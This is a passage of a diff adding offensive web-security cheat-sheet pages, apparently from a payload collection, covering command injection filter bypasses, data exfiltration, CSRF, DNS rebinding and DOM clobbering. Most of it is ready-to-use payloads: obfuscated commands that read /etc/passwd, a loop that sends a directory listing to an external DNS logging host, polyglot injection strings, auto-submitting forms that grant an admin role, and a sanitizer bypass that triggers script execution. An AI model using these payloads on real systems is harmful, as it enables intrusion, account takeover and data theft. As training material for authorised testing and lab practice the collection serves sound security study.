|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
|
||||
swissky@crashlab:~$ echo . | tr '!-0' '"-1'
|
||||
/
|
||||
|
||||
swissky@crashlab:~$ tr '!-0' '"-1' <<< .
|
||||
/
|
||||
|
||||
swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
```
|
||||
|
||||
### Bypass Characters Filter Via Hex Encoding
|
||||
|
||||
```powershell
|
||||
swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||||
/etc/passwd
|
||||
|
||||
swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
|
||||
swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
|
||||
swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
|
||||
swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764
|
||||
/etc/passwd
|
||||
|
||||
swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764`
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
|
||||
swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764)
|
||||
/etc/passwd
|
||||
|
||||
swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
```
|
||||
|
||||
### Bypass With Single Quote
|
||||
|
||||
```powershell
|
||||
w'h'o'am'i
|
||||
wh''oami
|
||||
'w'hoami
|
||||
```
|
||||
|
||||
### Bypass With Double Quote
|
||||
|
||||
```powershell
|
||||
w"h"o"am"i
|
||||
wh""oami
|
||||
"wh"oami
|
||||
```
|
||||
|
||||
### Bypass With Backticks
|
||||
|
||||
```powershell
|
||||
wh``oami
|
||||
```
|
||||
|
||||
### Bypass With Backslash and Slash
|
||||
|
||||
```powershell
|
||||
w\ho\am\i
|
||||
/\b\i\n/////s\h
|
||||
```
|
||||
|
||||
### Bypass With $@
|
||||
|
||||
`$0`: Refers to the name of the script if it's being run as a script. If you're in an interactive shell session, `$0` will typically give the name of the shell.
|
||||
|
||||
```powershell
|
||||
who$@ami
|
||||
echo whoami|$0
|
||||
```
|
||||
|
||||
### Bypass With $()
|
||||
|
||||
```powershell
|
||||
who$()ami
|
||||
who$(echo am)i
|
||||
who`echo am`i
|
||||
```
|
||||
|
||||
### Bypass With Variable Expansion
|
||||
|
||||
```powershell
|
||||
/???/??t /???/p??s??
|
||||
|
||||
test=/ehhh/hmtc/pahhh/hmsswd
|
||||
cat ${test//hhh\/hm/}
|
||||
cat ${test//hh??hm/}
|
||||
```
|
||||
|
||||
### Bypass With Wildcards
|
||||
|
||||
```powershell
|
||||
powershell C:\*\*2\n??e*d.*? # notepad
|
||||
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
|
||||
```
|
||||
|
||||
### Bypass With Random Case
|
||||
|
||||
Windows does not distinguish between uppercase and lowercase letters when interpreting commands or file paths. For example, `DIR`, `dir`, or `DiR` will all execute the same `dir` command.
|
||||
|
||||
```powershell
|
||||
wHoAmi
|
||||
```
|
||||
|
||||
## Data Exfiltration
|
||||
|
||||
### Time Based Data Exfiltration
|
||||
|
||||
Extracting data char by char and detect the correct value based on the delay.
|
||||
|
||||
* Correct value: wait 5 seconds
|
||||
|
||||
```powershell
|
||||
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
real 0m5.007s
|
||||
user 0m0.000s
|
||||
sys 0m0.000s
|
||||
```
|
||||
|
||||
* Incorrect value: no delay
|
||||
|
||||
```powershell
|
||||
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
|
||||
real 0m0.002s
|
||||
user 0m0.000s
|
||||
sys 0m0.000s
|
||||
```
|
||||
|
||||
### Dns Based Data Exfiltration
|
||||
|
||||
Based on the tool from [HoLyVieR/dnsbin](https://github.com/HoLyVieR/dnsbin), also hosted at [dnsbin.zhack.ca](http://dnsbin.zhack.ca/)
|
||||
|
||||
1. Go to [dnsbin.zhack.ca](http://dnsbin.zhack.ca)
|
||||
2. Execute a simple 'ls'
|
||||
|
||||
```powershell
|
||||
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
||||
```
|
||||
|
||||
Online tools to check for DNS based data exfiltration:
|
||||
|
||||
* [dnsbin.zhack.ca](http://dnsbin.zhack.ca)
|
||||
* [app.interactsh.com](https://app.interactsh.com)
|
||||
* [portswigger.net](https://portswigger.net/burp/documentation/collaborator)
|
||||
|
||||
## Polyglot Command Injection
|
||||
|
||||
A polyglot is a piece of code that is valid and executable in multiple programming languages or environments simultaneously. When we talk about "polyglot command injection," we're referring to an injection payload that can be executed in multiple contexts or environments.
|
||||
|
||||
* Example 1:
|
||||
|
||||
```powershell
|
||||
Payload: 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
|
||||
# Context inside commands with single and double quote:
|
||||
echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
```
|
||||
|
||||
* Example 2:
|
||||
|
||||
```powershell
|
||||
Payload: /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
|
||||
# Context inside commands with single and double quote:
|
||||
echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/"
|
||||
echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'
|
||||
```
|
||||
|
||||
## Tricks
|
||||
|
||||
### Backgrounding Long Running Commands
|
||||
|
||||
In some instances, you might have a long running command that gets killed by the process injecting it timing out.
|
||||
Using `nohup`, you can keep the process running after the parent process exits.
|
||||
|
||||
```bash
|
||||
nohup sleep 120 > /dev/null &
|
||||
```
|
||||
|
||||
### Remove Arguments After The Injection
|
||||
|
||||
In Unix-like command-line interfaces, the `--` symbol is used to signify the end of command options. After `--`, all arguments are treated as filenames and arguments, and not as options.
|
||||
|
||||
## Labs
|
||||
|
||||
* [PortSwigger - OS command injection, simple case](https://portswigger.net/web-security/os-command-injection/lab-simple)
|
||||
* [PortSwigger - Blind OS command injection with time delays](https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays)
|
||||
* [PortSwigger - Blind OS command injection with output redirection](https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection)
|
||||
* [PortSwigger - Blind OS command injection with out-of-band interaction](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band)
|
||||
* [PortSwigger - Blind OS command injection with out-of-band data exfiltration](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration)
|
||||
* [Root Me - PHP - Command injection](https://www.root-me.org/en/Challenges/Web-Server/PHP-Command-injection)
|
||||
* [Root Me - Command injection - Filter bypass](https://www.root-me.org/en/Challenges/Web-Server/Command-injection-Filter-bypass)
|
||||
* [Root Me - PHP - assert()](https://www.root-me.org/en/Challenges/Web-Server/PHP-assert)
|
||||
* [Root Me - PHP - preg_replace()](https://www.root-me.org/en/Challenges/Web-Server/PHP-preg_replace)
|
||||
|
||||
### Challenge
|
||||
|
||||
Challenge based on the previous tricks, what does the following command do:
|
||||
|
||||
```powershell
|
||||
g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}
|
||||
```
|
||||
|
||||
**NOTE**: The command is safe to run, but you should not trust me.
|
||||
|
||||
## References
|
||||
|
||||
* [Argument Injection and Getting Past Shellwords.escape - Etienne Stalmans - November 24, 2019](https://staaldraad.github.io/post/2019-11-24-argument-injection/)
|
||||
* [Argument Injection Vectors - SonarSource - February 21, 2023](https://sonarsource.github.io/argument-injection-vectors/)
|
||||
* [Back to the Future: Unix Wildcards Gone Wild - Leon Juranic - June 25, 2014](https://www.exploit-db.com/papers/33930)
|
||||
* [Bash Obfuscation by String Manipulation - Malwrologist, @DissectMalware - August 4, 2018](https://twitter.com/DissectMalware/status/1025604382644232192)
|
||||
* [Bug Bounty Survey - Windows RCE Spaceless - Bug Bounties Survey - May 4, 2017](https://web.archive.org/web/20180808181450/https://twitter.com/bugbsurveys/status/860102244171227136)
|
||||
* [No PHP, No Spaces, No $, No {}, Bash Only - Sven Morgenroth - August 9, 2017](https://twitter.com/asdizzle_/status/895244943526170628)
|
||||
* [OS Command Injection - PortSwigger - 2024](https://portswigger.net/web-security/os-command-injection)
|
||||
* [SECURITY CAFÉ - Exploiting Timed-Based RCE - Pobereznicenco Dan - February 28, 2017](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/)
|
||||
* [TL;DR: How to Exploit/Bypass/Use PHP escapeshellarg/escapeshellcmd Functions - kacperszurek - April 25, 2018](https://github.com/kacperszurek/exploits/blob/master/GitList/exploit-bypass-php-escapeshellarg-escapeshellcmd.md)
|
||||
* [WorstFit: Unveiling Hidden Transformers in Windows ANSI! - Orange Tsai - January 10, 2025](https://blog.orange.tw/posts/2025-01-worstfit-unveiling-hidden-transformers-in-windows-ansi/)
|
||||
BIN
Cross-Site Request Forgery/Images/CSRF-CheatSheet.png
Normal file
BIN
Cross-Site Request Forgery/Images/CSRF-CheatSheet.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 407 KiB |
162
Cross-Site Request Forgery/README.md
Normal file
162
Cross-Site Request Forgery/README.md
Normal file
|
|
@ -0,0 +1,162 @@
|
|||
# Cross-Site Request Forgery
|
||||
|
||||
> Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP
|
||||
|
||||
## Summary
|
||||
|
||||
* [Tools](#tools)
|
||||
* [Methodology](#methodology)
|
||||
* [HTML GET - Requiring User Interaction](#html-get---requiring-user-interaction)
|
||||
* [HTML GET - No User Interaction](#html-get---no-user-interaction)
|
||||
* [HTML POST - Requiring User Interaction](#html-post---requiring-user-interaction)
|
||||
* [HTML POST - AutoSubmit - No User Interaction](#html-post---autosubmit---no-user-interaction)
|
||||
* [HTML POST - multipart/form-data With File Upload - Requiring User Interaction](#html-post---multipartform-data-with-file-upload---requiring-user-interaction)
|
||||
* [JSON GET - Simple Request](#json-get---simple-request)
|
||||
* [JSON POST - Simple Request](#json-post---simple-request)
|
||||
* [JSON POST - Complex Request](#json-post---complex-request)
|
||||
* [Labs](#labs)
|
||||
* [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
* [0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) - The Prime Cross Site Request Forgery Audit and Exploitation Toolkit.
|
||||
|
||||
## Methodology
|
||||
|
||||

|
||||
|
||||
When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.
|
||||
|
||||
### HTML GET - Requiring User Interaction
|
||||
|
||||
```html
|
||||
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
|
||||
```
|
||||
|
||||
### HTML GET - No User Interaction
|
||||
|
||||
```html
|
||||
<img src="http://www.example.com/api/setusername?username=CSRFd">
|
||||
```
|
||||
|
||||
### HTML POST - Requiring User Interaction
|
||||
|
||||
```html
|
||||
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
|
||||
<input name="username" type="hidden" value="CSRFd" />
|
||||
<input type="submit" value="Submit Request" />
|
||||
</form>
|
||||
```
|
||||
|
||||
### HTML POST - AutoSubmit - No User Interaction
|
||||
|
||||
```html
|
||||
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
|
||||
<input name="username" type="hidden" value="CSRFd" />
|
||||
<input type="submit" value="Submit Request" />
|
||||
</form>
|
||||
|
||||
<script>
|
||||
document.getElementById("autosubmit").submit();
|
||||
</script>
|
||||
```
|
||||
|
||||
### HTML POST - multipart/form-data With File Upload - Requiring User Interaction
|
||||
|
||||
```html
|
||||
<script>
|
||||
function launch(){
|
||||
const dT = new DataTransfer();
|
||||
const file = new File( [ "CSRF-filecontent" ], "CSRF-filename" );
|
||||
dT.items.add( file );
|
||||
document.xss[0].files = dT.files;
|
||||
|
||||
document.xss.submit()
|
||||
}
|
||||
</script>
|
||||
|
||||
<form style="display: none" name="xss" method="post" action="<target>" enctype="multipart/form-data">
|
||||
<input id="file" type="file" name="file"/>
|
||||
<input type="submit" name="" value="" size="0" />
|
||||
</form>
|
||||
<button value="button" onclick="launch()">Submit Request</button>
|
||||
```
|
||||
|
||||
### JSON GET - Simple Request
|
||||
|
||||
```html
|
||||
<script>
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open("GET", "http://www.example.com/api/currentuser");
|
||||
xhr.send();
|
||||
</script>
|
||||
```
|
||||
|
||||
### JSON POST - Simple Request
|
||||
|
||||
With XHR :
|
||||
|
||||
```html
|
||||
<script>
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open("POST", "http://www.example.com/api/setrole");
|
||||
//application/json is not allowed in a simple request. text/plain is the default
|
||||
xhr.setRequestHeader("Content-Type", "text/plain");
|
||||
//You will probably want to also try one or both of these
|
||||
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
|
||||
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
|
||||
xhr.send('{"role":admin}');
|
||||
</script>
|
||||
```
|
||||
|
||||
With autosubmit send form, which bypasses certain browser protections such as the Standard option of [Enhanced Tracking Protection](https://support.mozilla.org/en-US/kb/enhanced-tracking-protection-firefox-desktop?as=u&utm_source=inproduct#w_standard-enhanced-tracking-protection) in Firefox browser :
|
||||
|
||||
```html
|
||||
<form id="CSRF_POC" action="www.example.com/api/setrole" enctype="text/plain" method="POST">
|
||||
// this input will send : {"role":admin,"other":"="}
|
||||
<input type="hidden" name='{"role":admin, "other":"' value='"}' />
|
||||
</form>
|
||||
<script>
|
||||
document.getElementById("CSRF_POC").submit();
|
||||
</script>
|
||||
```
|
||||
|
||||
### JSON POST - Complex Request
|
||||
|
||||
```html
|
||||
<script>
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open("POST", "http://www.example.com/api/setrole");
|
||||
xhr.withCredentials = true;
|
||||
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
|
||||
xhr.send('{"role":admin}');
|
||||
</script>
|
||||
```
|
||||
|
||||
## Labs
|
||||
|
||||
* [PortSwigger - CSRF vulnerability with no defenses](https://portswigger.net/web-security/csrf/lab-no-defenses)
|
||||
* [PortSwigger - CSRF where token validation depends on request method](https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method)
|
||||
* [PortSwigger - CSRF where token validation depends on token being present](https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-token-being-present)
|
||||
* [PortSwigger - CSRF where token is not tied to user session](https://portswigger.net/web-security/csrf/lab-token-not-tied-to-user-session)
|
||||
* [PortSwigger - CSRF where token is tied to non-session cookie](https://portswigger.net/web-security/csrf/lab-token-tied-to-non-session-cookie)
|
||||
* [PortSwigger - CSRF where token is duplicated in cookie](https://portswigger.net/web-security/csrf/lab-token-duplicated-in-cookie)
|
||||
* [PortSwigger - CSRF where Referer validation depends on header being present](https://portswigger.net/web-security/csrf/lab-referer-validation-depends-on-header-being-present)
|
||||
* [PortSwigger - CSRF with broken Referer validation](https://portswigger.net/web-security/csrf/lab-referer-validation-broken)
|
||||
|
||||
## References
|
||||
|
||||
* [Cross-Site Request Forgery Cheat Sheet - Alex Lauerman - April 3rd, 2016](https://trustfoundry.net/cross-site-request-forgery-cheat-sheet/)
|
||||
* [Cross-Site Request Forgery (CSRF) - OWASP - Apr 19, 2024](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))
|
||||
* [Messenger.com CSRF that show you the steps when you check for CSRF - Jack Whitton - July 26, 2015](https://whitton.io/articles/messenger-site-wide-csrf/)
|
||||
* [Paypal bug bounty: Updating the Paypal.me profile picture without consent (CSRF attack) - Florian Courtial - 19 July 2016](https://web.archive.org/web/20170607102958/https://hethical.io/paypal-bug-bounty-updating-the-paypal-me-profile-picture-without-consent-csrf-attack/)
|
||||
* [Hacking PayPal Accounts with one click (Patched) - Yasser Ali - 2014/10/09](https://web.archive.org/web/20141203184956/http://yasserali.com/hacking-paypal-accounts-with-one-click/)
|
||||
* [Add tweet to collection CSRF - Vijay Kumar (indoappsec) - November 21, 2015](https://hackerone.com/reports/100820)
|
||||
* [Facebookmarketingdevelopers.com: Proxies, CSRF Quandry and API Fun - phwd - October 16, 2015](http://philippeharewood.com/facebookmarketingdevelopers-com-proxies-csrf-quandry-and-api-fun/)
|
||||
* [How I Hacked Your Beats Account? Apple Bug Bounty - @aaditya_purani - 2016/07/20](https://aadityapurani.com/2016/07/20/how-i-hacked-your-beats-account-apple-bug-bounty/)
|
||||
* [FORM POST JSON: JSON CSRF on POST Heartbeats API - Eugene Yakovchuk - July 2, 2017](https://hackerone.com/reports/245346)
|
||||
* [Hacking Facebook accounts using CSRF in Oculus-Facebook integration - Josip Franjkovic - January 15th, 2018](https://www.josipfranjkovic.com/blog/hacking-facebook-oculus-integration-csrf)
|
||||
* [Cross Site Request Forgery (CSRF) - Sjoerd Langkemper - Jan 9, 2019](http://www.sjoerdlangkemper.nl/2019/01/09/csrf/)
|
||||
* [Cross-Site Request Forgery Attack - PwnFunction - 5 Apr. 2019](https://www.youtube.com/watch?v=eWEgUcHPle0)
|
||||
* [Wiping Out CSRF - Joe Rozner - Oct 17, 2017](https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f)
|
||||
* [Bypass Referer Check Logic for CSRF - hahwul - Oct 11, 2019](https://www.hahwul.com/2019/10/11/bypass-referer-check-logic-for-csrf/)
|
||||
11
DISCLAIMER.md
Normal file
11
DISCLAIMER.md
Normal file
|
|
@ -0,0 +1,11 @@
|
|||
# DISCLAIMER
|
||||
|
||||
The authors and contributors of this repository disclaim any and all responsibility for the misuse of the information, tools, or techniques described herein. The content is provided solely for educational and research purposes. Users are strictly advised to utilize this information in accordance with applicable laws and regulations and only on systems for which they have explicit authorization.
|
||||
|
||||
By accessing and using this repository, you agree to:
|
||||
|
||||
* Refrain from using the provided information for any unethical or illegal activities.
|
||||
* Ensure that all testing and experimentation are conducted responsibly and with proper authorization.
|
||||
* Acknowledge that any actions you take based on the contents of this repository are solely your responsibility.
|
||||
|
||||
Neither the authors nor contributors shall be held liable for any damages, direct or indirect, resulting from the misuse or unauthorized application of the knowledge contained herein. Always act mindfully, ethically, and within the boundaries of the law.
|
||||
96
DNS Rebinding/README.md
Normal file
96
DNS Rebinding/README.md
Normal file
|
|
@ -0,0 +1,96 @@
|
|||
# DNS Rebinding
|
||||
|
||||
> DNS rebinding changes the IP address of an attacker controlled machine name to the IP address of a target application, bypassing the [same-origin policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy) and thus allowing the browser to make arbitrary requests to the target application and read their responses.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Tools](#tools)
|
||||
* [Methodology](#methodology)
|
||||
* [Protection Bypasses](#protection-bypasses)
|
||||
* [0.0.0.0](#0000)
|
||||
* [CNAME](#cname)
|
||||
* [localhost](#localhost)
|
||||
* [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
* [nccgroup/singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework.
|
||||
* [rebind.it](http://rebind.it/) - Singularity of Origin Web Client.
|
||||
* [taviso/rbndr](https://github.com/taviso/rbndr) - Simple DNS Rebinding Service
|
||||
* [taviso/rebinder](https://lock.cmpxchg8b.com/rebinder.html) - rbndr Tool Helper
|
||||
|
||||
## Methodology
|
||||
|
||||
**Setup Phase**:
|
||||
|
||||
* Register a malicious domain (e.g., `malicious.com`).
|
||||
* Configure a custom DNS server capable of resolving `malicious.com` to different IP addresses.
|
||||
|
||||
**Initial Victim Interaction**:
|
||||
|
||||
* Create a webpage on `malicious.com` containing malicious JavaScript or another exploit mechanism.
|
||||
* Entice the victim to visit the malicious webpage (e.g., via phishing, social engineering, or advertisements).
|
||||
|
||||
**Initial DNS Resolution**:
|
||||
|
||||
* When the victim's browser accesses `malicious.com`, it queries the attacker's DNS server for the IP address.
|
||||
* The DNS server resolves `malicious.com` to an initial, legitimate-looking IP address (e.g., 203.0.113.1).
|
||||
|
||||
**Rebinding to Internal IP**:
|
||||
|
||||
* After the browser's initial request, the attacker's DNS server updates the resolution for `malicious.com` to a private or internal IP address (e.g., 192.168.1.1, corresponding to the victim’s router or other internal devices).
|
||||
|
||||
This is often achieved by setting a very short TTL (time-to-live) for the initial DNS response, forcing the browser to re-resolve the domain.
|
||||
|
||||
**Same-Origin Exploitation:**
|
||||
|
||||
The browser treats subsequent responses as coming from the same origin (`malicious.com`).
|
||||
|
||||
Malicious JavaScript running in the victim's browser can now make requests to internal IP addresses or local services (e.g., 192.168.1.1 or 127.0.0.1), bypassing same-origin policy restrictions.
|
||||
|
||||
**Example:**
|
||||
|
||||
1. Register a domain.
|
||||
2. [Setup Singularity of Origin](https://github.com/nccgroup/singularity/wiki/Setup-and-Installation).
|
||||
3. Edit the [autoattack HTML page](https://github.com/nccgroup/singularity/blob/master/html/autoattack.html) for your needs.
|
||||
4. Browse to `http://rebinder.your.domain:8080/autoattack.html`.
|
||||
5. Wait for the attack to finish (it can take few seconds/minutes).
|
||||
|
||||
## Protection Bypasses
|
||||
|
||||
> Most DNS protections are implemented in the form of blocking DNS responses containing unwanted IP addresses at the perimeter, when DNS responses enter the internal network. The most common form of protection is to block private IP addresses as defined in RFC 1918 (i.e. 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). Some tools allow to additionally block localhost (127.0.0.0/8), local (internal) networks, or 0.0.0.0/0 network ranges.
|
||||
|
||||
In the case where DNS protection are enabled (generally disabled by default), NCC Group has documented multiple [DNS protection bypasses](https://github.com/nccgroup/singularity/wiki/Protection-Bypasses) that can be used.
|
||||
|
||||
### 0.0.0.0
|
||||
|
||||
We can use the IP address 0.0.0.0 to access the localhost (127.0.0.1) to bypass filters blocking DNS responses containing 127.0.0.1 or 127.0.0.0/8.
|
||||
|
||||
### CNAME
|
||||
|
||||
We can use DNS CNAME records to bypass a DNS protection solution that blocks all internal IP addresses.
|
||||
Since our response will only return a CNAME of an internal server,
|
||||
the rule filtering internal IP addresses will not be applied.
|
||||
Then, the local, internal DNS server will resolve the CNAME.
|
||||
|
||||
```bash
|
||||
$ dig cname.example.com +noall +answer
|
||||
; <<>> DiG 9.11.3-1ubuntu1.15-Ubuntu <<>> example.com +noall +answer
|
||||
;; global options: +cmd
|
||||
cname.example.com. 381 IN CNAME target.local.
|
||||
```
|
||||
|
||||
### localhost
|
||||
|
||||
We can use "localhost" as a DNS CNAME record to bypass filters blocking DNS responses containing 127.0.0.1.
|
||||
|
||||
```bash
|
||||
$ dig www.example.com +noall +answer
|
||||
; <<>> DiG 9.11.3-1ubuntu1.15-Ubuntu <<>> example.com +noall +answer
|
||||
;; global options: +cmd
|
||||
localhost.example.com. 381 IN CNAME localhost.
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* [How Do DNS Rebinding Attacks Work? - nccgroup - Apr 9, 2019](https://github.com/nccgroup/singularity/wiki/How-Do-DNS-Rebinding-Attacks-Work%3F)
|
||||
145
DOM Clobbering/README.md
Normal file
145
DOM Clobbering/README.md
Normal file
|
|
@ -0,0 +1,145 @@
|
|||
# DOM Clobbering
|
||||
|
||||
> DOM Clobbering is a technique where global variables can be overwritten or "clobbered" by naming HTML elements with certain IDs or names. This can cause unexpected behavior in scripts and potentially lead to security vulnerabilities.
|
||||
|
||||
## Summary
|
||||
|
||||
- [Tools](#tools)
|
||||
- [Methodology](#methodology)
|
||||
- [Labs](#labs)
|
||||
- [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
- [SoheilKhodayari/DOMClobbering](https://domclob.xyz/domc_markups/list) - Comprehensive List of DOM Clobbering Payloads for Mobile and Desktop Web Browsers
|
||||
- [yeswehack/Dom-Explorer](https://github.com/yeswehack/Dom-Explorer) - A web-based tool designed for testing various HTML parsers and sanitizers.
|
||||
- [yeswehack/Dom-Explorer Live](https://yeswehack.github.io/Dom-Explorer/dom-explorer#eyJpbnB1dCI6IiIsInBpcGVsaW5lcyI6W3siaWQiOiJ0ZGpvZjYwNSIsIm5hbWUiOiJEb20gVHJlZSIsInBpcGVzIjpbeyJuYW1lIjoiRG9tUGFyc2VyIiwiaWQiOiJhYjU1anN2YyIsImhpZGUiOmZhbHNlLCJza2lwIjpmYWxzZSwib3B0cyI6eyJ0eXBlIjoidGV4dC9odG1sIiwic2VsZWN0b3IiOiJib2R5Iiwib3V0cHV0IjoiaW5uZXJIVE1MIiwiYWRkRG9jdHlwZSI6dHJ1ZX19XX1dfQ==) - Reveal how browsers parse HTML and find mutated XSS vulnerabilities
|
||||
|
||||
## Methodology
|
||||
|
||||
Exploitation requires any kind of `HTML injection` in the page.
|
||||
|
||||
- Clobbering `x.y.value`
|
||||
|
||||
```html
|
||||
// Payload
|
||||
<form id=x><output id=y>I've been clobbered</output>
|
||||
|
||||
// Sink
|
||||
<script>alert(x.y.value);</script>
|
||||
```
|
||||
|
||||
- Clobbering `x.y` using ID and name attributes together to form a DOM collection
|
||||
|
||||
```html
|
||||
// Payload
|
||||
<a id=x><a id=x name=y href="Clobbered">
|
||||
|
||||
// Sink
|
||||
<script>alert(x.y)</script>
|
||||
```
|
||||
|
||||
- Clobbering `x.y.z` - 3 levels deep
|
||||
|
||||
```html
|
||||
// Payload
|
||||
<form id=x name=y><input id=z></form>
|
||||
<form id=x></form>
|
||||
|
||||
// Sink
|
||||
<script>alert(x.y.z)</script>
|
||||
```
|
||||
|
||||
- Clobbering `a.b.c.d` - more than 3 levels
|
||||
|
||||
```html
|
||||
// Payload
|
||||
<iframe name=a srcdoc="
|
||||
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
|
||||
<style>@import '//portswigger.net';</style>
|
||||
|
||||
// Sink
|
||||
<script>alert(a.b.c.d)</script>
|
||||
```
|
||||
|
||||
- Clobbering `forEach` (Chrome only)
|
||||
|
||||
```html
|
||||
// Payload
|
||||
<form id=x>
|
||||
<input id=y name=z>
|
||||
<input id=y>
|
||||
</form>
|
||||
|
||||
// Sink
|
||||
<script>x.y.forEach(element=>alert(element))</script>
|
||||
```
|
||||
|
||||
- Clobbering `document.getElementById()` using `<html>` or `<body>` tag with the same `id` attribute
|
||||
|
||||
```html
|
||||
// Payloads
|
||||
<html id="cdnDomain">clobbered</html>
|
||||
<svg><body id=cdnDomain>clobbered</body></svg>
|
||||
|
||||
|
||||
// Sink
|
||||
<script>
|
||||
alert(document.getElementById('cdnDomain').innerText);//clobbbered
|
||||
</script>
|
||||
```
|
||||
|
||||
- Clobbering `x.username`
|
||||
|
||||
```html
|
||||
// Payload
|
||||
<a id=x href="ftp:Clobbered-username:Clobbered-Password@a">
|
||||
|
||||
// Sink
|
||||
<script>
|
||||
alert(x.username)//Clobbered-username
|
||||
alert(x.password)//Clobbered-password
|
||||
</script>
|
||||
```
|
||||
|
||||
- Clobbering (Firefox only)
|
||||
|
||||
```html
|
||||
// Payload
|
||||
<base href=a:abc><a id=x href="Firefox<>">
|
||||
|
||||
// Sink
|
||||
<script>
|
||||
alert(x)//Firefox<>
|
||||
</script>
|
||||
```
|
||||
|
||||
- Clobbering (Chrome only)
|
||||
|
||||
```html
|
||||
// Payload
|
||||
<base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123>
|
||||
|
||||
// Sink
|
||||
<script>
|
||||
alert(x.xyz)//a://Clobbered<>
|
||||
</script>
|
||||
```
|
||||
|
||||
## Tricks
|
||||
|
||||
- DomPurify allows the protocol `cid:`, which doesn't encode double quote (`"`): `<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`
|
||||
|
||||
## Labs
|
||||
|
||||
- [PortSwigger - Exploiting DOM clobbering to enable XSS](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering)
|
||||
- [PortSwigger - Clobbering DOM attributes to bypass HTML filters](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-clobbering-attributes-to-bypass-html-filters)
|
||||
- [PortSwigger - DOM clobbering test case protected by CSP](https://portswigger-labs.net/dom-invader/testcases/augmented-dom-script-dom-clobbering-csp/)
|
||||
|
||||
## References
|
||||
|
||||
- [Bypassing CSP via DOM clobbering - Gareth Heyes - 05 June 2023](https://portswigger.net/research/bypassing-csp-via-dom-clobbering)
|
||||
